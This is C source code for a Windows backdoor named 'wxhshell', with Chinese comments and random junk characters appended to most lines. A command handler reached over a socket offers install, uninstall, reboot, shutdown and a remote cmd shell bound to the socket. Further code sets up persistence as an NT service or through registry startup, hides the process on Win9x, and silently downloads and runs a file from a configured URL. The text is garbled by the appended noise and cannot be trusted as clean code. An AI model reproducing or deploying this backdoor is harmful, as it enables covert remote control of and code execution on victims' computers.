  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )\l}i%L:  
  } DbP!wU lqR  
  else { mEv<r6qDT  
VmHok  
    switch(cmd[0]) { m ,,-rC  
  |3/=dG  
  // 帮助 YH&`+ +  
  case '?': { f%` =>l  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b/5?)!I  
    break; j1*'yvGM  
  } AcyiP   
  // 安装 6A;V[3  
  case 'i': { HsGXb\  
    if(Install()) #Z)e]4{!l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L TZ3r/  
    else L&MR%5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WW\u}z.QJ  
    break; =LDzZ:' X  
    } @ U'g}K  
  // 卸载 G`9Ud  
  case 'r': { *?Nrx=O*  
    if(Uninstall()) MzL^u8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |)* K#%j  
    else _d 76jmujJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6!bVPIyYO  
    break; ]@vX4G/  
    }  #8MA+  
  // 显示 wxhshell 所在路径 U748$%}]  
  case 'p': { 8{#W F#  
    char svExeFile[MAX_PATH]; NE,2jeZQ.  
    strcpy(svExeFile,"\n\r"); <iuESeDG  
      strcat(svExeFile,ExeFile); )o;/*h%@  
        send(wsh,svExeFile,strlen(svExeFile),0); iagl^(s  
    break; K PSFy<  
    } q.U` mtS  
  // 重启 x :\+{-  
  case 'b': { ^.p({6H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^90';ACFy  
    if(Boot(REBOOT)) So{/V%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N9tH0  
    else { x2=Bu#Y  
    closesocket(wsh); x^Q:U1  
    ExitThread(0); P}29wrIZ  
    } 8om6wALXB  
    break; 7n9&@D3 :P  
    } ,dhJ\cQ~  
  // 关机 L15?\|':Y  
  case 'd': { nICc}U?k  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B>rz<bPT  
    if(Boot(SHUTDOWN)) <k!M+}a 9V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #<s6L"Z-  
    else { 2 -72 8  
    closesocket(wsh); ukpbx;O:hc  
    ExitThread(0); [Ul"I-K  
    } H C(Vu  
    break; C-E~z{  
    } )' +" y~  
  // 获取shell 83K)j"!<X  
  case 's': { [Gop-Vi/~  
    CmdShell(wsh); 0uV3J  
    closesocket(wsh); ^ gMoW  
    ExitThread(0); #%O|P&rA  
    break; z/!LC;(  
  } I{tY;b'w  
  // 退出 `-fWNHs  
  case 'x': { Y[)b".K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); e+6mbJ7y  
    CloseIt(wsh); pFgpAxl  
    break; "BT*9N=|  
    } _HF66)X7  
  // 离开 |a4cER.'2^  
  case 'q': { a?jUm.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YbtsJ <w  
    closesocket(wsh); g xY6M4  
    WSACleanup(); 3}dTbr4y  
    exit(1); i0Ejo;dB  
    break; Su?e\7aj  
        } k#F |  
  } s|F}Abx,^  
  } ?C)a0>L  
fn.KZ  
  // 提示信息 yJQ>u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OL]P(HRm]~  
} EQI9 J#;+  
  } 01=nS?  
M.fAFL  
  return; 'yxN1JF  
} O+x"c3@Z)D  
$`j%z@[g  
// shell模块句柄 ,1/O2aQ%\0  
int CmdShell(SOCKET sock) 9$[6\jMh  
{ Ipro6 I  
STARTUPINFO si; \4Uhc3  
ZeroMemory(&si,sizeof(si)); |j$r@  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cq]JD6937  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5.ibH  
PROCESS_INFORMATION ProcessInfo; ,]`|2j  
char cmdline[]="cmd"; ~_Q~AOFM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $mxm?7ZVR  
  return 0; GWFF.Mo^  
} yq.<,b=87  
f~Y;ZvB  
// 自身启动模式 4`yE'%6.}  
int StartFromService(void) C7*n<+e  
{ P.bxq50  
typedef struct JLd-{}A""-  
{ Gyx4}pV  
  DWORD ExitStatus; /tm2b<G  
  DWORD PebBaseAddress; n(I,pF  
  DWORD AffinityMask; "DaE(S&  
  DWORD BasePriority; "&Hr)yyWG  
  ULONG UniqueProcessId; a-e_q  
  ULONG InheritedFromUniqueProcessId; "I)/|x\G*  
}   PROCESS_BASIC_INFORMATION; V>Dqw!  
^h\(j*/#X  
PROCNTQSIP NtQueryInformationProcess; W(pq_H'  
.~$!BWP  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {p\ll  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tGE=!qk  
Cj%n?-  
  HANDLE             hProcess; ;w/@_!~  
  PROCESS_BASIC_INFORMATION pbi; "C0?s7Y  
wZ4w`|'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WwsH7X)  
  if(NULL == hInst ) return 0; rn^cajO^  
)]}G8A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D:] QBA)C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wE[gp+X~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); yPrF2@#XZ/  
Sq&r ;  
  if (!NtQueryInformationProcess) return 0; ?f}?I`S,  
1aI&jdJk  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); r[?GO"ej5  
  if(!hProcess) return 0; $RH.  
R + ~b@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YMN=1Zuj?  
fj|b;8_}l  
  CloseHandle(hProcess); uMx6:   
!"2S'oQKS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); oyB gF\  
if(hProcess==NULL) return 0; [Dhqyjq  
J>l?HK  
HMODULE hMod; |v:oLgUdH  
char procName[255]; )J*M{Gm6i  
unsigned long cbNeeded; *b'4>U  
C@`rg ILc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Y]e  
"uli~ {IU  
  CloseHandle(hProcess); 7s0\`eXo/  
=cpUc]~  
if(strstr(procName,"services")) return 1; // 以服务启动 },n?  
q9 :g  
  return 0; // 注册表启动 lZAXDxhnT  
} =oBlUE  
rD+mI/_J`  
// 主模块 V7b;qC'  
int StartWxhshell(LPSTR lpCmdLine) Rk,'ujc  
{ beaSvhPU  
  SOCKET wsl; ({ O~O5k  
BOOL val=TRUE; %pIP#y[4  
  int port=0; {E; bT|3z  
  struct sockaddr_in door; cJMi`PQ;  
}* \*<d 3  
  if(wscfg.ws_autoins) Install(); ,ZghV1z  
[ *Dj7z t:  
port=atoi(lpCmdLine); @ ]40xKF  
f8 BZkh  
if(port<=0) port=wscfg.ws_port; v,C~5J3h)  
:YQI1 q[6  
  WSADATA data; br^ A<@,d  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZIKSHC9  
,Nt^$2DZW  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t~7OtPF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (dfC}x(3h  
  door.sin_family = AF_INET; TjDtNE  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'hE'h?-7  
  door.sin_port = htons(port); qA;Gl"HF  
uu9IUqEq2  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0-~s0R89A  
closesocket(wsl); =A!r ZG  
return 1; ta6>St7.  
} Gx %=&O  
(dZ]j){  
  if(listen(wsl,2) == INVALID_SOCKET) { nK32or3  
closesocket(wsl); /ej[oR  
return 1; ;yajt\a  
} /oW]? 9  
  Wxhshell(wsl); DK eB%k  
  WSACleanup(); iO&*WIbg  
dB6['z)2  
return 0; _RzF h  
,]:Gn5~  
} &<x.D]FA]  
99.F'Gz  
// 以NT服务方式启动 YA@MLZm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c7~R0nP  
{ cnS;9=,&  
DWORD   status = 0; |.,]0CRg  
  DWORD   specificError = 0xfffffff; pHuR_U5*?  
^B0Qk:%P^N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t7l{^d_L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5F+G8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T60pw  
  serviceStatus.dwWin32ExitCode     = 0; jz`3xFy *]  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Q]c=i cg  
  serviceStatus.dwCheckPoint       = 0; `LNhamp  
  serviceStatus.dwWaitHint       = 0; "w$,`M?2  
?m5E Xe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *L9v(Kc  
  if (hServiceStatusHandle==0) return; Gbjh|j=  
7UY4* j|[C  
status = GetLastError(); 5[g\.yi2_]  
  if (status!=NO_ERROR) V*ao@;sD  
{ 76"4Q!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DI8<0.L  
    serviceStatus.dwCheckPoint       = 0; `3 i<jZMG  
    serviceStatus.dwWaitHint       = 0; PxgJ7d  
    serviceStatus.dwWin32ExitCode     = status; a _+?#m  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]+46r!r|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y+T[="W  
    return; 9@ YKx0  
  } zBlv?JwG  
yq49fEgc@U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 6F!B*lr  
  serviceStatus.dwCheckPoint       = 0; (M"rpG>L  
  serviceStatus.dwWaitHint       = 0; $&&E[JY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2mn AL#  
} ^P^%Q)QXl  
Gc"hU:m  
// 处理NT服务事件,比如:启动、停止 E(j# R"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) P woiX#vz  
{  *<W8j[?  
switch(fdwControl) ;:j1FOj  
{ HO['o{>BL  
case SERVICE_CONTROL_STOP: hO&b\#@~  
  serviceStatus.dwWin32ExitCode = 0; ! ig& 8:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; GLyPgZ`|  
  serviceStatus.dwCheckPoint   = 0; :^ WF% X  
  serviceStatus.dwWaitHint     = 0; GyWa=KW.u  
  { 71\53Qr#U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ZI7;Gw  
  } njf\fw_  
  return; C<AW)|r_  
case SERVICE_CONTROL_PAUSE: &n )MGg1%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?*yyne  
  break; n Syq}Y3  
case SERVICE_CONTROL_CONTINUE: {@ vnKyf^K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V0v,s^\H  
  break; 7jIBE  
case SERVICE_CONTROL_INTERROGATE: A $gn{ c  
  break; Fu_I0z  
}; VK]U*V1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); UL-_z++G  
} sa4w.9O1GS  
*9"x0bth  
// 标准应用程序主函数 E#!!tH`lgg  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _ Lb"yug  
{ gr*CN<  
;5bd<N  
// 获取操作系统版本 v8*)^-Fx  
OsIsNt=GetOsVer(); oDV6[e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;o3gR4u_L  
@]vY[O!&;  
  // 从命令行安装 c%C6d97q  
  if(strpbrk(lpCmdLine,"iI")) Install(); >i,_qe?V:w  
1*9.K'  
  // 下载执行文件 &K\80wGK  
if(wscfg.ws_downexe) { :${tts2g  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Bj1%}B  
  WinExec(wscfg.ws_filenam,SW_HIDE); R ,qQC<  
} ];LFv5"  
>< $LV&  
if(!OsIsNt) { WA8<:#{e  
// 如果时win9x,隐藏进程并且设置为注册表启动 @wgd 3BU  
HideProc(); ]~I+d/k d  
StartWxhshell(lpCmdLine); ~_vSMX  
} )rK2%\Z  
else \~ChbPnc  
  if(StartFromService()) \"oZ\_  
  // 以服务方式启动 x{SlJ%V  
  StartServiceCtrlDispatcher(DispatchTable); ^~;ia7V&2  
else QM F   
  // 普通方式启动 nf0u:M"fm  
  StartWxhshell(lpCmdLine); :.,9}\LK  
]alc%(=  
return 0; t`"m@  
}
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